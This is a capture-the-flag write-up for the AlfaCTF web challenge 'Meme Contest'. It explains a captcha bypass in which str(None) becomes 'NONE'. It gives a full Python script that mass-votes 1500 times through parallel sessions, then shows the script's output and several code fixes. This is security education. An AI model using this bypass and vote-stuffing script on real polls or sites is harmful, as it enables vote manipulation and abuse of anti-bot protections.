Meme Contest
Meme Contest
Platform: alfactf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Windows | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: Automated voting with parallel requests, Captcha bypass via None-to-string type confusion, Session state manipulation
Summary
Task: Meme voting platform requiring 1337 votes to win. Solution: Captcha bypass via None-to-string type confusion - str(session.get("captcha_text")) returns "None" when not set, allowing votes with captcha_input="NONE" without visiting the captcha page.
Meme Contest - AlfaCTF
Description
— Я друг, я тебя не обижу, — слышите вы жалобный голос со стороны океана. Оборачиваетесь и видите: далеко в пучине забытых мемов тонет котик «Бу, испугался». Не дайте мему умереть, спасите доброго кота, он вас не обидит.
Голосование за лучший мем: memecontest-4xrax051.alfactf.ru/ Исходники избирательной платформы: https://alfactf.ru/files/memecontest_554ba41.tar.gz
A meme voting platform. Need to collect 1337 votes for meme #6 (the "Boo! Scared?" cat) to get the flag.
Analysis
Source Code Review
The key vulnerability is in routes.py in the captcha validation logic:
python read-only • copy allowed@app.route('/api/submit-vote', methods=['POST']) def submit_vote(): data = request.get_json() meme_id = data.get('meme_id') captcha_input = str(data.get('captcha_input', '')).upper() # Getting captcha from session session_captcha = str(session.get('captcha_text')).upper() if not session_captcha: return jsonify({'success': False, 'error': 'Код не найдена в сессии...'}) if not verify_captcha(captcha_input, session_captcha): return jsonify({'success': False, 'error': 'Неверный код!'}) # ... vote is processed
Vulnerability Chain
-
When
captcha_textis not set in session:session.get('captcha_text')returnsNonestr(None)returns the string"None""None".upper()returns"NONE"
-
The
if not session_captchacheck:if not "NONE"=if False(non-empty string is truthy)- Check passes, code continues execution
-
Captcha validation:
verify_captcha("NONE", "NONE")returnsTrue- Vote is counted!
Exploitation Condition
The captcha is set in session only when visiting the /golosovanie page. If a user:
- Logs in via
/login - Does NOT navigate to
/golosovanie - Immediately submits a vote with
captcha_input: "NONE"
...the captcha will be successfully "passed"!
Solution
Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Meme Contest - Captcha Bypass via None-to-String Type Confusion Vulnerability: str(session.get('captcha_text')).upper() = "NONE" when captcha is not set Exploitation: Login without visiting /golosovanie + vote with captcha_input="NONE" """ import requests import secrets from concurrent.futures import ThreadPoolExecutor, as_completed TARGET = 'https://memecontest-4xrax051.alfactf.ru' MEME_ID = 6 # "Boo! Scared?" cat VOTES_NEEDED = 1337 PARALLEL_WORKERS = 50 def vote_once(): """Single vote with captcha bypass""" s = requests.Session() s.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' # 1. Login with random passport (do NOT navigate to /golosovanie!) passport = secrets.token_hex(6) s.post(f'{TARGET}/login', data={'passport': passport}, allow_redirects=False) # Important: don't follow redirect! # 2. Vote with "NONE" as captcha response = s.post( f'{TARGET}/api/submit-vote', json={'meme_id': MEME_ID, 'captcha_input': 'NONE'}, headers={'Content-Type': 'application/json'} ) return response.json() def mass_vote(count): """Mass voting in parallel threads""" successful = 0 with ThreadPoolExecutor(max_workers=PARALLEL_WORKERS) as executor: futures = [executor.submit(vote_once) for _ in range(count)] for i, future in enumerate(as_completed(futures)): try: result = future.result() if result.get('success'): successful += 1 if (i + 1) % 100 == 0: print(f"Progress: {i + 1}/{count}, successful: {successful}") except Exception as e: print(f"Error: {e}") return successful def check_results(): """Check results and get flag""" s = requests.Session() s.post(f'{TARGET}/login', data={'passport': 'checker'}) response = s.get(f'{TARGET}/results') return response.text if __name__ == '__main__': print(f"[*] Voting for meme #{MEME_ID} with captcha bypass...") print(f"[*] Target: {VOTES_NEEDED} votes") # Vote with some extra margin successful = mass_vote(1500) print(f"[+] Successful votes: {successful}") # Check results print("[*] Checking results...") results = check_results() if 'alfa{' in results: import re flag = re.search(r'alfa\{[^}]+\}', results) if flag: print(f"[+] FLAG: {flag.group()}") else: print("[-] Flag not found, may need more votes") print(results[:500])
Execution Result
[*] Voting for meme #6 with captcha bypass...
[*] Target: 1337 votes
Progress: 100/1500, successful: 100
Progress: 200/1500, successful: 200
...
Progress: 1500/1500, successful: 1500
[+] Successful votes: 1500
[*] Checking results...
[+] FLAG: alfa{REDACTED}
Proper Fix
python read-only • copy allowed# Option 1: Check BEFORE string conversion session_captcha = session.get('captcha_text') if not session_captcha: return jsonify({'success': False, 'error': 'Captcha not found in session...'}) session_captcha = str(session_captcha).upper() # Option 2: Explicit None check session_captcha = session.get('captcha_text') if session_captcha is None: return jsonify({'success': False, 'error': 'Captcha not found in session...'}) session_captcha = str(session_captcha).upper() # Option 3: Using default value session_captcha = session.get('captcha_text', '') if not session_captcha: return jsonify({'success': False, 'error': 'Captcha not found in session...'})
Easter Egg
The flag alfa{REDACTED} is a reference to "Schrödinger's cat". The captcha simultaneously exists and doesn't exist, like the cat in the box. Perfectly fits the task about saving a cat meme!